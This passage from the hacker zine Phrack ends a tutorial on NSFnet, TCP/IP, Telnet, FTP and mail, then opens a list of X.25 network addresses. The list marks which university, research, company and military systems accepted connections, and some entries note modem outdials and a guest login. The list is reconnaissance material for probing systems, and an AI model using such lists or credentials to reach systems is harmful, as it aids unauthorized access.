UT - University of Tulsa (Oklahoma)
OU - University of Oklahoma at Norman
Researchers at any of these universities that have funded grants can access the
six supercomputer centers funded by the NSF:
John Von Neuman Supercomputer Center
National Center for Atmospheric Research
Cornell National Supercomputer Facility
National Center for Supercomputing Applications
Pittsburgh Supercomputing Center
San Diego Supercomputing Center
In addition, researchers and scientists can communicate with each other over a
vast world-wide computer network that includes the NSFnet, ARPAnet, CSnet,
BITnet, and others that you have read about in The Future Transcendent Saga.
Please refer to "Frontiers" (Phrack Inc., Volume Two, Issue 24, File 4 of 13)
for more details.
MIDnet is just one of several regional computer networks that comprise the
NSFnet system. Although all of these regional computer networks work the same,
MIDnet is the only one that I have direct access to and so this file is written
from a MIDnet point of view. For people who have access to the other regional
networks of NSFnet, the only real differences depicted in this file that would
not apply to the other regional networks are the universities that are served
by MIDnet as opposed to:
NYSERnet in New York State
SURAnet in the southeastern United States
SEQSUInet in Texas
BARRnet in the San Francisco area
MERIT in Michigan
(There are others that are currently being constructed.)
These regional networks all hook into the NSFnet backbone, which is a network
that connects the six supercomputer centers. For example, a person at Kansas
State University can connect with a supercomputer via MIDnet and the NSFnet
backbone. That researcher can also send mail to colleagues at the University
of Delaware by using MIDnet, NSFnet and SURAnet. Each university has its own
local computer network which connects on-campus computers as well as providing
a means to connecting to a regional network.
Some universities are already connected to older networks such as CSnet, the
ARPAnet and BITnet. In principal, any campus connected to any of these
networks can access anyone else in any other network since there are gateways
between the networks.
Gateways are specialized computers that forward network traffic, thereby
connecting networks. In practice, these wide-area networks use different
networking technology which make it impossible to provide full functionality
across the gateways. However, mail is almost universally supported across all
gateways, so that a person at a BITnet site can send mail messages to a
colleague at an ARPAnet site (or anywhere else for that matter). You should
already be somewhat familiar with this, but if not refer to;
"Limbo To Infinity" (Phrack Inc., Volume Two, Issue 24, File 3 of 13) and
"Internet Domains" (Phrack Inc., Volume Three, Issue 26, File 8 of 11)
Computer networks rely on hardware and software that allow computers to
communicate. The language that enables network communication is called a
protocol. There are many different protocols in use today. MIDnet uses the
TCP/IP protocols, also known as the DOD (Department of Defense) Protocol Suite.
Other networks that use TCP/IP include ARPAnet, CSnet and the NSFnet. In fact,
all the regional networks that are linked to the NSFnet backbone are required
to use TCP/IP. At the local campus level, TCP/IP is often used, although other
protocols such as IBM's SNA and DEC's DECnet are common. In order to
communicate with a computer via MIDnet and the NSFnet, a computer at a campus
must use TCP/IP directly or use a gateway that will translate its protocols
into TCP/IP.
The Internet is a world-wide computer network that is the conglomeration of
most of the large wide area networks, including ARPAnet, CSnet, NSFnet, and the
regionals, such as MIDnet. To a lesser degree, other networks such as BITnet
that can send mail to hosts on these networks are included as part of the
Internet. This huge network of networks, the Internet, as you have by now read
all about in the pages of Phrack Inc., is a rapidly growing and very complex
entity that allows sophisticated communication between scientists, students,
government officials and others. Being a part of this community is both
exciting and challenging.
This chapter of the Future Transcendent Saga gives a general description of the
protocols and software used in MIDnet and the NSFNet. A discussion of several
of the more commonly used networking tools is also included to enable you to
make practical use of the network as soon as possible.
The DOD Protocol Suite
~~~~~~~~~~~~~~~~~~~~~~
The DOD Protocol Suite includes many different protocols. Each protocol is a
specification of how communication is to occur between computers. Computer
hardware and software vendors use the protocol to create programs and sometimes
specialized hardware in order to implement the network function intended by the
protocol. Different implementations of the same protocol exist for the varied
hardware and operating systems found in a network.
The three most commonly used network functions are:
Mail -- Sending and receiving messages
File Transfer -- Sending and receiving files
Remote Login -- Logging into a distant computer
Of these, mail is probably the most commonly used.
In the TCP/IP world, there are three different protocols that realize these
functions:
SMTP -- (Simple Mail Transfer Protocol) Mail
FTP -- (File Transfer Protocol) sending and receiving files
Telnet -- Remote login
How to use these protocols is discussed in the next section. At first glance,
it is not obvious why these three functions are the most common. After all,
mail and file transfer seem to be the same thing. However, mail messages are
not identical to files, since they are usually comprised of only ASCII
characters and are sequential in structure. Files may contain binary data and
have complicated, non-sequential structures. Also, mail messages can usually
tolerate some errors in transmission whereas files should not contain any
errors. Finally, file transfers usually occur in a secure setting (i.e. The
users who are transferring files know each other's names and passwords and are
permitted to transfer the file, whereas mail can be sent to anybody as long as
their name is known).
While mail and transfer accomplish the transfer of raw information from one
computer to another, Telnet allows a distant user to process that information,
either by logging in to a remote computer or by linking to another terminal.
Telnet is most often used to remotely log in to a distant computer, but it is
actually a general-purpose communications protocol. I have found it incredibly
useful over the last year. In some ways, it could be used for a great deal of
access because you can directly connect to another computer anywhere that has
TCP/IP capabilities, however please note that Telnet is *NOT* Telenet.
There are other functions that some networks provide, including the following:
- Name to address translation for networks, computers and people
- The current time
- Quote of the day or fortune
- Printing on a remote printer, or use of any other remote peripheral
- Submission of batch jobs for non-interactive execution
- Dialogues and conferencing between multiple users
- Remote procedure call (i.e. Distributing program execution over several
remote computers)
- Transmission of voice or video information
Some of these functions are still in the experimental stages and require faster
computer networks than currently exist. In the future, new functions will
undoubtedly be invented and existing ones improved.
The DOD Protocol Suite is a layered network architecture, which means that
network functions are performed by different programs that work independently
and in harmony with each other. Not only are there different programs but
there are different protocols. The protocols SMTP, FTP and Telnet are
described above. Protocols have been defined for getting the current time, the
quote of the day, and for translating names. These protocols are called
applications protocols because users directly interact with the programs that
implement these protocols.
The Transmission Control Protocol, TCP, is used by many of the application
protocols. Users almost never interact with TCP directly. TCP establishes a
reliable end-to-end connection between two processes on remote computers. Data
is sent through a network in small chunks called packets to improve reliability
and performance. TCP ensures that packets arrive in order and without errors.
If a packet does have errors, TCP requests that the packet be retransmitted.
In turn, TCP calls upon IP, Internet Protocol, to move the data from one
network to another. IP is still not the lowest layer of the architecture,
since there is usually a "data link layer protocol" below it. This can be any
of a number of different protocols, two very common ones being X.25 and
Ethernet.
FTP, Telnet and SMTP are called "application protocols", since they are
directly used by applications programs that enable users to make use of the
network. Network applications are the actual programs that implement these
protocols and provide an interface between the user and the computer. An
implementation of a network protocol is a program or package of programs that
provides the desired network function such as file transfer. Since computers
differ from vendor to vendor (e.g. IBM, DEC, CDC), each computer must have its
own implementation of these protocols. However, the protocols are standardized
so that computers can interoperate over the network (i.e. Can understand and
process each other's data). For example, a TCP packet generated by an IBM
computer can be read and processed by a DEC computer.
In many instances, network applications programs use the name of the protocol.
For example, the program that transfers files may be called "FTP" and the
program that allows remote logins may be called "Telnet." Sometimes these
protocols are incorporated into larger packages, as is common with SMTP. Many
computers have mail programs that allow users on the same computer to send mail
to each other. SMTP functions are often added to these mail programs so that
users can also send and receive mail through a network. In such cases, there
is no separate program called SMTP that the user can access, since the mail
program provides the user interface to this network function.
Specific implementation of network protocols, such as FTP, are tailored to the
computer hardware and operating system on which they are used. Therefore, the
exact user interface varies from one implementation to another. For example,
the FTP protocol specifies a set of FTP commands which each FTP implementation
must understand and process. However, these are usually placed at a low level,
often invisible to the user, who is given a higher set of commands to use.
These higher-level commands are not standardized so they may vary from one
implementation of FTP to another. For some operating systems, not all of these
commands make equal sense, such as "Change Directory," or may have different
meanings. Therefore the specific user interface that the user sees will
probably differ.
This file describes a generic implementation of the standard TCP/IP application
protocols. Users must consult local documentation for specifics at their
sites.
Names and Addresses In A Network
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
In DOD Protocol Suite, each network is given a unique identifying number. This
number is assigned by a central authority, namely the Network Information
Center run by SRI, abbreviated as SRI-NIC, in order to prevent more than one
network from having the same network number. For example, the ARPAnet has
network number 10 while MIDnet has a longer number, namely 128.242.
Each host in a network has a unique identification so other hosts can specify
them unambiguously. Host numbers are usually assigned by the organization that
manages the network, rather than one central authority. Host numbers do not
need to be unique throughout the whole Internet but two hosts on the same
network need to have unique host numbers.
The combination of the network number and the host number is called the IP
address of the host and is specified as a 32-bit binary number. All IP
addresses in the Internet are expressible as 32-bit numbers, although they are
often written in dotted decimal notation. Dotted decimal notation breaks the
32-bit number into four eight-bit parts or octets and each octet is specified
as a decimal number. For example, 00000001 is the binary octet that specifies
the decimal number 1, while 11000000 specifies 192. Dotted decimal notation
makes IP addresses much easier to read and remember.
Computers in the Internet are also identified by hostnames, which are strings
of characters, such as "phrackvax." However, IP packets must specify the
32-bit IP address instead of the hostname so some way to translating hostnames
to IP addresses must exist.
One way is to have a table of hostnames and their corresponding IP addresses,
called a hosttable. Nearly every TCP/IP implementation has such a hosttable,
although the weaknesses of this method are forcing a shift to a new scheme
called the domain name system. In UNIX systems, the hosttable is often called
"/etc/hosts." You can usually read this file and find out what the IP
addresses of various hosts are. Other systems may call this file by a
different name and make it unavailable for public viewing.
Users of computers are generally given accounts to which all charges for
computer use are billed. Even if computer time is free at an installation,
accounts are used to distinguish between the users and enforce file
protections. The generic term "username" will be used in this file to refer to
the name by which the computer account is accessed.
In the early days of the ARPAnet which was the first network to use the TCP/IP
protocols, computer users were identified by their username, followed by a
commercial "at" sign (@), followed by the hostname on which the account
existed. Networks were not given names, per se, although the IP address
specified a network number.
For example, "knight@phrackvax" referred to user "knight" on host "phrackvax."
This did not specify which network "phrackvax" was on, although that
information could be obtained by examining the hosttable and the IP address for
"phrackvax." (However, "phrackvax" is a ficticious hostname used for this
presentation.)
As time went on, every computer on the network had to have an entry in its
hosttable for every other computer on the network. When several networks
linked together to form the Internet, the problem of maintaining this central
hosttable got out of hand. Therefore, the domain name scheme was introduced to
split up the hosttable and make it smaller and easier to maintain.
In the new domain name scheme, users are still identified by their usernames,
but hosts are now identified by their hostname and any and all domains of which
they are a part. For example, the following address,
"KNIGHT@UMCVMB.MISSOURI.EDU" specifies username "KNIGHT" on host "UMCVMB".
However, host "UMCVMB" is a part of the domain "MISSOURI" " which is in turn
part of the domain "EDU". There are other domains in "EDU", although only one
is named "MISSOURI". In the domain "MISSOURI", there is only one host named
"UMCVMB".
However, other domains in "EDU" could theoretically have hosts named "UMCVMB"
(although I would say that this is rather unlikely in this example). Thus the
combination of hostname and all its domains makes it unique. The method of
translating such names into IP addresses is no longer as straightforward as
looking up the hostname in a table. Several protocols and specialized network
software called nameservers and resolvers implement the domain name scheme.
Not all TCP/IP implementations support domain names because it is rather new.
In those cases, the local hosttable provides the only way to translate
hostnames to IP addresses. The system manager of that computer will have to
put an entry into the hosttable for every host that users may want to connect
to. In some cases, users may consult the nameserver themselves to find out the
IP address for a given hostname and then use that IP address directly instead
of a hostname.
I have selected a few network hosts to demonstrate how a host system can be
specified by both the hostname and host numerical address. Some of the nodes I
have selected are also nodes on BITnet, perhaps even some of the others that I
do not make a note of due a lack of omniscent awareness about each and every
single host system in the world :-)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Numerical Hostname Location BITnet
--------- -------- -------- ------
18.72.0.39 ATHENA.MIT.EDU (Mass. Institute of Technology) ?
26.0.0.73 SRI-NIC.ARPA (DDN Network Information Center) -
36.21.0.13 MACBETH.STANFORD.EDU (Stanford University) ?
36.21.0.60 PORTIA.STANFORD.EDU (Stanford University) ?
128.2.11.131 ANDREW.CMU.EDU (Carnegie Mellon University) ANDREW
128.3.254.13 LBL.GOV (Lawrence Berkeley Labrotories) LBL
128.6.4.7 RUTGERS.RUTGERS.EDU (Rutgers University) ?
128.59.99.1 CUCARD.MED.COLUMBIA.EDU (Columbia University) ?
128.102.18.3 AMES.ARC.NASA.GOV (Ames Research Center [NASA]) -
128.103.1.1 HARVARD.EDU (Harvard University) HARVARD
128.111.24.40 HUB.UCSB.EDU (Univ. Of Calif-Santa Barbara) ?
128.115.14.1 LLL-WINKEN.LLNL.GOV (Lawrence Livermore Labratories) -
128.143.2.7 UVAARPA.VIRGINIA.EDU (University of Virginia) ?
128.148.128.40 BROWNVM.BROWN.EDU (Brown University) BROWN
128.163.1.5 UKCC.UKY.EDU (University of Kentucky) UKCC
128.183.10.4 NSSDCA.GSFC.NASA.GOV (Goddard Space Flight Center [NASA])-
128.186.4.18 RAI.CC.FSU.EDU (Florida State University) FSU
128.206.1.1 UMCVMB.MISSOURI.EDU (Univ. of Missouri-Columbia) UMCVMB
128.208.1.15 MAX.ACS.WASHINGTON.EDU (University of Washington) MAX
128.228.1.2 CUNYVM.CUNY.EDU (City University of New York) CUNYVM
129.10.1.6 NUHUB.ACS.NORTHEASTERN.EDU (Northeastern University) NUHUB
131.151.1.4 UMRVMA.UMR.EDU (University of Missouri-Rolla) UMRVMA
192.9.9.1 SUN.COM (Sun Microsystems, Inc.) -
192.33.18.30 VM1.NODAK.EDU (North Dakota State Univ.) NDSUVM1
192.33.18.50 PLAINS.NODAK.EDU (North Dakota State Univ.) NDSUVAX
Please Note: Not every system on BITnet has an IP address. Likewise, not
every system that has an IP address is on BITnet. Also, while
some locations like Stanford University may have nodes on BITnet
and have hosts on the IP as well, this does not neccessarily
imply that the systems on BITnet and on IP (the EDU domain in
this case) are the same systems.
Attempts to gain unauthorized access to systems on the Internet
are not tolerated and is legally a federal offense. At some
hosts, they take this very seriously, especially the government
hosts such as NASA's Goddard Space Flight Center, where they do
not mind telling you so at the main prompt when you connect to
their system.
However, some nodes are public access to an extent. The DDN
Network Information Center can be used by anyone. The server and
database there have proven to be an invaluable source of
information when locating people, systems, and other information
that is related to the Internet.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Telnet
~~~~~~
Remote login refers to logging in to a remote computer from a terminal
connected to a local computer. Telnet is the standard protocol in the DOD
Protocol Suite for accomplishing this. The "rlogin" program, provided with
Berkeley UNIX systems and some other systems, also enables remote login.
For purposes of discussion, the "local computer" is the computer to which your
terminal is directly connected while the "remote computer" is the computer on
the network to which you are communicating and to which your terminal is *NOT*
directly connected.
Since some computers use a different method of attaching terminals to
computers, a better definition would be the following: The "local computer" is
the computer that you are currently using and the "remote computer" is the
computer on the network with which you are or will be communicating. Note that
the terms "host" and "computer" are synonymous in the following discussion.
To use Telnet, simply enter the command: TELNET
The prompt that Telnet gives is: Telnet>
(However, you can specify where you want to Telnet to immediately and bypass
the the prompts and other delays by issuing the command: TELNET [location].)
There is help available by typing in ?. This prints a list of all the valid
subcommands that Telnet provides with a one-line explanation.
Telnet> ?
To connect to to another computer, use the open subcommand to open a connection
to that computer. For example, to connect to the host "UMCVMB.MISSOURI.EDU",
do "open umcvmb.missouri.edu"
Telnet will resolve (i.e. Translate, the hostname "umcvmb.missouri.edu" into an
IP address and will send a packet to that host requesting login. If the remote
host decides to let you attempt a login, it prompts you for your username and
password. If the host does not respond, Telnet will "time out" (i.e. Wait for
a reasonable amount of time such as 20 seconds) and then terminate with a
message such as "Host not responding."
If your computer does not have an entry for a remote host in its hosttable and
it cannot resolve the name, you can use the IP address explicitly in the telnet
command. For example,
TELNET 26.0.0.73 (Note: This is the IP address for the DDN Network Information
Center [SRI-NIC.ARPA])
If you are successful in logging in, your terminal is connected to the remote
host. For all intents and purposes, your terminal is directly hard-wired to
that host and you should be able to do anything on your remote terminal that
you can do at any local terminal. There are a few exceptions to this rule,
however.
Telnet provides a network escape character, such as CONTROL-T. You can find out
what the escape character is by entering the "status" subcommand:
Telnet> status
You can change the escape character by entering the "escape" subcommand:
Telnet> escape
When you type in the escape character, the Telnet prompt returns to your screen
and you can enter subcommands. For example, to break the connection, which
usually logs you off the remote host, enter the subcommand "quit":
Telnet> quit
Your Telnet connection usually breaks when you log off the remote host, so the
"quit" subcommand is not usually used to log off.
When you are logged in to a remote computer via Telnet, remember that there is
a time delay between your local computer and the remote one. This often
becomes apparent to users when scrolling a long file across the terminal screen
nd they wish to cancel the scrolling by typing CONTROL-C or something similar.
After typing the special control character, the scrolling continues. The
special control character takes a certain amount of time to reach the remote
computer which is still scrolling information. Thus response from the remote
computer will not likely be as quick as response from a local computer.
Once you are remotely logged on, the computer you are logged on to effectively
becomes your "local computer," even though your original "local computer" still
considers you logged on. You can log on to a third computer which would then
become your "local computer" and so on. As you log out of each session, your
previous session becomes active again.
File Transfer
~~~~~~~~~~~~~
FTP is the program that allows files to be sent from one computer to another.
"FTP" stands for "File Transfer Protocol".
When you start using FTP, a communications channel with another computer on the
network is opened. For example, to start using FTP and initiate a file
transfer session with a computer on the network called "UMCVMB", you would
issue the following subcommand:
FTP UMCVMB.MISSOURI.EDU
Host "UMCVMB" will prompt you for an account name and password. If your login
is correct, FTP will tell you so, otherwise it will say "login incorrect." Try
again or abort the FTP program. (This is usually done by typing a special
control character such as CONTROL-C. The "program abort" character varies from
system to system.)
Next you will see the FTP prompt, which is:
Ftp>
There are a number of subcommands of FTP. The subcommand "?" will list these
commands and a brief description of each one.
You can initiate a file transfer in either direction with FTP, either from the
remote host or to the remote host. The "get" subcommand initiates a file
transfer from the remote host (i.e. Tells the remote computer to send the file
to the local computer [the one on which you issued the "ftp" command]). Simply
enter "get" and FTP will prompt you for the remote host's file name and the
(new) local host's file name. Example:
Ftp> get
Remote file name?
theirfile
local file name?
myfile
ou can abbreviate this by typing both file names on the same line as the "get"
subcommand. If you do not specify a local file name, the new local file will
be called the same thing as the remote file. Valid FTP subcommands to get a
file include the following:
get theirfile myfile
get doc.x25
The "put" subcommand works in a similar fashion and is used to send a file from
the local computer to the remote computer. Enter the command "put" and FTP
will prompt you for the local file name and then the remote file name. If the
transfer cannot be done because the file doesn't exist or for some other
reason, FTP will print an error message.
There are a number of other subcommands in FTP that allow you to do many more
things. Not all of these are standard so consult your local documentation or
type a question mark at the FTP prompt. Some functions often built into FTP
include the ability to look at files before getting or putting them, the
ability to change directories, the ability to delete files on the remote
computer, and the ability to list the directory on the remote host.
An intriguing capability of many FTP implementations is "third party
transfers." For example, if you are logged on computer A and you want to cause
computer B to send a file to computer C, you can use FTP to connect to computer
B and use the "rmtsend" command. Of course, you have to know usernames and
passwords on all three computers, since FTP never allows you to peek into
someone's directory and files unless you know their username and password.
The "cd" subcommand changes your working directory on the remote host. The
"lcd" subcommand changes the directory on the local host. For UNIX systems,
the meaning of these subcommands is obvious. Other systems, especially those
that do not have directory-structured file system, may not implement these
commands or may implement them in a different manner.
The "dir" and "ls" subcommands do the same thing, namely list the files in the
working directory of of the remote host.
The "list" subcommand shows the contents of a file without actually putting it
into a file on the local computer. This would be helpful if you just wanted to
inspect a file. You could interrupt it before it reached the end of the file
by typing CONTROL-C or some other special character. This is dependent on your
FTP implementation.
The "delete" command can delete files on the remote host. You can also make
and remove directories on the remote host with "mkdir" and "rmdir". The
"status" subcommand will tell you if you are connected and with whom and what
the state of all your options are.
If you are transferring binary files or files with any non-printable
characters, turn binary mode on by entering the "binary" subcommand:
binary
To resume non-binary transfers, enter the "ascii" subcommand.
Transferring a number of files can be done easily by using "mput" (multiple
put) and "mget" (multiple get). For example, to get every file in a particular
directory, first issue a "cd" command to change to that directory and then an
"mget" command with an asterisk to indicate every file:
cd somedirectory
mget *
When you are done, use the "close" subcommand to break the communications link.
You will still be in FTP, so you must use the "bye" subcommand to exit FTP and
return to the command level. The "quit" subcommand will close the connection
and exit from FTP at the same time.
Mail
~~~~
Mail is the simplest network facility to use in many ways. All you have to do
is to create your message, which can be done with a file editor or on the spur
of the moment, and then send it. Unlike FTP and Telnet, you do not need to
know the password of the username on the remote computer. This is so because
you cannot change or access the files of the remote user nor can you use their
account to run programs. All you can do is to send a message.
There is probably a program on your local computer which does mail between
users on that computer. Such a program is called a mailer. This may or may
not be the way to send or receive mail from other computers on the network,
although integrated mailers are more and more common. UNIX mailers will be
used as an example in this discussion.
Note that the protocol which is used to send and receive mail over a TCP/IP
network is called SMTP, the "Simple Mail Transfer Protocol." Typically, you
will not use any program called SMTP, but rather your local mail program.
UNIX mailers are usually used by invoking a program named "mail". To receive
new mail, simply type "mail".
There are several varieties of UNIX mailers in existence. Consult your local
documentation for details. For example, the command "man mail" prints out the
manual pages for the mail program on your computer.
To send mail, you usually specify the address of the recipient on the mail
command. For example: "mail knight@umcvmb.missouri.edu" will send the
following message to username "knight" on host "umcvmb".
You can usually type in your message one line at a time, pressing RETURN after
each line and typing CONTROL-D to end the message. Other facilities to include
already-existing files sometimes exist. For example, Berkeley UNIXes allow you
to enter commands similar to the following to include a file in your current
mail message:
r myfile
In this example, the contents of "myfile" are inserted into the message at this
point.
Most UNIX systems allow you to send a file through the mail by using input
redirection. For example:
mail knight@umcvmb.missouri.edu < myfile
In this example, the contents of "myfile" are sent as a message to "knight" on
"umcvmb."
Note that in many UNIX systems the only distinction between mail bound for
another user on the same computer and another user on a remote computer is
simply the address specified. That is, there is no hostname for local
recipients. Otherwise, mail functions in exactly the same way. This is common
for integrated mail packages. The system knows whether to send the mail
locally or through the network based on the address and the user is shielded
from any other details.
"The Quest For Knowledge Is Without End..."
_______________________________________________________________________________
==Phrack Inc.==
Volume Three, Issue 27, File 4 of 12
:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:
:.: :.:
:.: NUA-List For Datex-P And X.25 Networks :.:
:.: :.:
:.: by Oberdaemon :.:
:.: :.:
:.: April 9, 1989 :.:
:.: :.:
:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:
_____________________________________________________________________________
| |
| Key: |
| |
| A = successfully connected |
| B = sources say that it works |
| C = officially closed |
| D = disconnected/no circuit or permanently busy |
| I = illegal address or invalid call |
| O = out of order |
| r = R-NUA |
| T = time-out |
| X = sources say that it should work but it doesn't (or is permanently |
| busy) |
| Y = barred (=?) |
| Z = sources say that it should not work |
| = including the following digits gives you another number |
| n/a = not yet tested |
| ? = error on a subsequent communication system |
| |
| Remark: I have also included some obviously misstyped NUAs which have been |
| found in widely circulating lists. There are also numbers which do |
| not form a valid NUA but a common prefix (e.g. 0202 2 Helpak). |
| |
| Format: Each NUA in this list consists of the following fields: |
| |
| cccc naa aaa aaa... oooo... ddd.... |
| |
| cccc is the country prefix (e.g. 0262 Germany). This prefix can be |
| omitted when calling and called party have both the same prefix.|
| naa are the first three digits of the address. n often specifies a |
| certain network in that country. |
| aaa aaa... are the other digits of the address. |
| oooo... are some extra digits/letters which should be added after the |
| NUA. The correct syntax depends on your PAD. This list uses any |
| syntax - usually depending on the notation the author of the |
| source used. The oooo... field is usually empty. |
| ddd... is a short description of the service. |
| |
| If you find two NUAs who differ only in the number of trailing zeroes, but |
| connect to the same service, you may safely throw away the longer one. |
| |
| !! Please note that most PADs don't accept spaces inside a NUA !! |
|_____________________________________________________________________________|
0200 GR Greece
0202
0202 2 Helpak (enkelriktad trafik)
X 0202 452 241 24104
0204 NL Netherlands
0204 0 Datanet (1?)
0204 1 Datanet (1?)
A 0204 129 001 3 ? (Netz ?)
A 0204 129 001 4 X.25
A 0204 129 003 1 NONOBY
A 0204 129 003 4 Searchline
D 0204 129 004 33 SARA National Institute for High Energy Physics
(NIKHEF) SARA network
D 0204 129 004 34 NIKHEF National Institute for High Energy Physics
(NIKHEF) SARA network
D 0204 129 005 6 MCVAX MCVAX, HOLLAND
A 0204 129 005 675 HARING MCVAX Line 2
0204 129 400 2 DUPHAR WEESP,HOLLAND
A 0204 134 014 80500 Utrecht ?
0204 303 0 EPOIS EPO Den Haag
0204 304 0 DSAMISOOM SAMSON
0204 4 Dabas
0206 B Belgium
0206 2 DCS
A 0206 210 300 003 Eigebib
A 0206 222 100 6 BBDA Brussels DEC A
A 0206 222 101 2 ? Ministry of economic affairs
A 0206 222 102 6 celex
A 0206 224 001 903 PRLB2 Belgium Unix Backbone
0206 3 Euronet
A 0206 228 821 0 DGxiiiF
0208 F France
0208 0 TRANSPAC French Transpac
A 0208 006 040 010 Telesystemes 1
A 0208 006 040 201 Telesystemes 2
A 0208 026 020 843 ?
A 0208 034 020 036 CNUSC CNUSC (France)
A 0208 034 020 258 CNUSC CNUSC Montpelier
A 0208 038 020 100 CICG Grenoble
A 0208 038 020 676 ILL VEGA VAX 8700 VMS 4.7
I 0208 044 001 645 ?
A 0208 057 040 540 QSD (Chat system)
I 0208 069 021 258
A 0208 075 000 087 IRCAM IRCAM-ERIK VAX 11/780 4.2 BSD
I 0208 075 000 355 ?
I 0208 075 001 281*D CCPN Computing Centre Nuclear Physics
I 0208 075 002 314 GRF
A 0208 075 020 655 LITP LITP Unix 4.3 BSD (France)
A 0208 075 041 280 Pasteur MV8000
A 0208 078 020 118 INRIA INRIA, Rocquencourt (France) Multics
B 0208 078 020 16901 INRIA Institute National de Recherche en
Informatique
0208 078 081 67304 INRIAUU INRIA - UUCICO
I 0208 091 000 270*DCISICISI3 IBM - TSO
I 0208 091 000 309*DCISICISI1 IBM - TSO
I 0208 091 000 519*DCISICISI2 IBM - TSO
I 0208 091 010 320 CJRCE
I 0208 091 040 047 SACLAY Saclay - France
I 0208 091 040 532 Pascal
A 0208 091 190 258 LURE, VAX 11/780 VMS 4.6, Synchrotron
source (SES)
0208 1 NTI
A 0208 101 TEXTFRA Text Generator, FRANCE
0214 E Spain
0214 1 SPAIN Spanish data network (NID/CTNE)
0214 5 Iberpac
O 0214 521 202 5022
A 0214 521 302 1020 ETSITM (EANNET) VAX 11/750 VMS 4.5
0222 I Italy
0222 2 Itapac
A 0222 262 002 1 ESAIRS1 ESA-QUEST, IRS 1
I 0222 262 002 2 ESAIRS2 ESA-IRS 2
O 0222 262 003 2 IASI VAX
A 0222 262 004 3 VAXLNF (INFNET) VAX 8650
O 0222 263 200 4 NUA-Information ?
A 0222 265 014 0 Techni-Link
I 0222 306 3 Progetto-Sirio
I 0222 306 700 European Space Agency
I 0222 306 9*D CNUCE CNUCE
I 0222 307 0 CILEA
I 0222 307 1 CED Datenbanksysteme Rom
I 0222 307 2*D RTC20 JRC
I 0222 307 7*D QUESTD5 ESA ESA
D 0222 307 8*D QUESTD5 ESA2 ESA
0228 CH Switzerland
D 0228 310 1*DN DATASTAR Data-Star, Switzerland
0228 4 Telepac
A 0228 462 110 0101 Cigy IBMA
A 0228 462 110 0102 Cigy DEC1091
A 0228 462 110 09 EDP Basel
A 0228 462 110 23 ?
A 0228 462 110 34 ?
A 0228 462 110 36 ?
A 0228 462 110 52 DANZA'S 11/785 VMS 4.4
A 0228 462 110 61 PKK node RBPK00
A 0228 462 110 66 PROGNOS Basel (CIERR 1402)
A 0228 462 110 70 ?
A 0228 462 110 84 (CIERR 1402)
Y 0228 462 170 02 INFOTEX PTT
I 0228 464 109 06 GD PTT Schweiz (ring with CTRL G)
A 0228 464 110 10 DM DATAMAIL (RSAG)
A 0228 464 110 110 DSTAR2 Datastar (2nd. Line)
A 0228 464 110 112 RSAG
Z 0228 464 110 113 RSAG
A 0228 464 110 115 DATASTAR Data-Star, Switzerland (Pharmadatenbank ?)
A 0228 468 113 150 Management Joint Trust
D 0228 468 114 05 CERN CERN (=CERNXX?)
A 0228 468 114 0505 CS Group LAVC on node UXCOMS
A 0228 468 114 0510 CER CERN, Geneva
A 0228 468 114 0510 CERNVAX CERN X25 Multigate
B 0228 468 114 0510*DLO CERNLO CERN 300 bps OUTDIAL (where ???)
B 0228 468 114 0510*DME CERNME CERN 1200 bps OUTDIAL (where ???)
B 0228 468 114 0510*DHI CERN ?
A 0228 468 114 0514 4.2 BSD UNIX (Mint)
A 0228 468 114 0515 Cern LS Group LAVC VXGIFT
A 0228 468 114 0520 Cern
A 0228 468 114 0532 Cern
A 0228 468 114 0533 L3 test beam VAX-750 VXC3
A 0228 468 114 0534 UXINFN
A 0228 468 114 0538 CS Group LAVC on node UXCOMS
A 0228 468 114 054 Cern
A 0228 468 114 0545 Cern
A 0228 468 114 0551 VXCERN VMS 4.6
A 0228 468 114 0553 VXCERN VMS 4.6
A 0228 468 114 0556 VXCERN VMS 4.6
A 0228 468 114 0560 CERN VXNA31
A 0228 468 114 0561 CERN VXNA31
A 0228 468 114 0562 L3 VAX 11/750 VXC3MU
A 0228 468 114 0572 ISOLDES VAX 11/750
A 0228 468 114 0574 ? (Operator)
A 0228 468 114 0581 ?
A 0228 468 114 0583 %Merit:X.25 (Merit Computer Network, see
appendix)
A 0228 468 114 0584 Develcon
A 0228 468 114 0587 ? (Operator)
A 0228 468 114 0588 ? (Operator)
A 0228 468 114 0589 ? (Operator)
A 0228 468 114 0592 Princeton University High Energy Physics
Group Vax 11/750
A 0228 468 114 0593 University of Michigan Physics Vax 11/750
A 0228 468 114 0596 N.U. Physics Vax 11/750
A 0228 468 114 0597 Harvard University High Energy Physics Lab.
Vax 8650
A 0228 468 114 0598 MIT-LNS*PIERRE
A 0228 468 114 0599 DoD, Distributed Databases Coordination
Center (JMILLER,X0TF3AP)
D 0228 468 114 18 BIOGEN (=GODEL?)
A 0228 468 114 23 EDCHUB::
A 0228 469 110 02 EPFL (something)
A 0228 469 110 0202 EPFL HELP
D 0228 469 110 0203 EPFL DE.VAX
D 0228 469 110 0204 EPFL GC.VAX
A 0228 469 110 0205 EPFL DP.VAX
A 0228 469 110 0206 EPFL ME.VAX
A 0228 469 110 0207 EPFL GR.VAX
A 0228 469 110 0208 EPFL MA.VAX
A 0228 469 110 0209 EPFL DI.VAX
D 0228 469 110 0210 EPFL IMAC.PDP
D 0228 469 110 0211 EPFL CGL.VAX
D 0228 469 110 0212 EPFL DE.MVAX
A 0228 469 110 0213 EPFL CC.VAX
A 0228 469 110 03 EPFL Cyber 855
Ar0228 469 110 0301 EPFL Cyber
A 0228 475 110 02 HSG St.Gallen
Ar0228 479 104 00 Cern
A 0228 479 110 23 I.P.Sharp (CA)
X 0228 479 110 86 KOMETH (ETH ZH)
A 0228 479 110 650 KOMETH (ETH ZH)
I 0228 479 111
A 0228 479 111 06 GRS
I 0228 479 111 086
I 0228 479 111 11
I 0228 479 111 18 ZEV-Mailbox Zuerich
A 0228 479 111 750 ComNet (R-Nua)
A 0228 479 311 49 KOMETH Output (ETH ZH)
A 0228 499 111 02001 KOMETH (Entry Uni)
0228 9 Radio-Suisse
0232 A Austria
0232 2 Datex-P
O 0232 242 210 91
? 0232 242 211 42*DMAI Sysnet Wien (Gast,Gast)
A 0232 252 310 000 Uni Wien
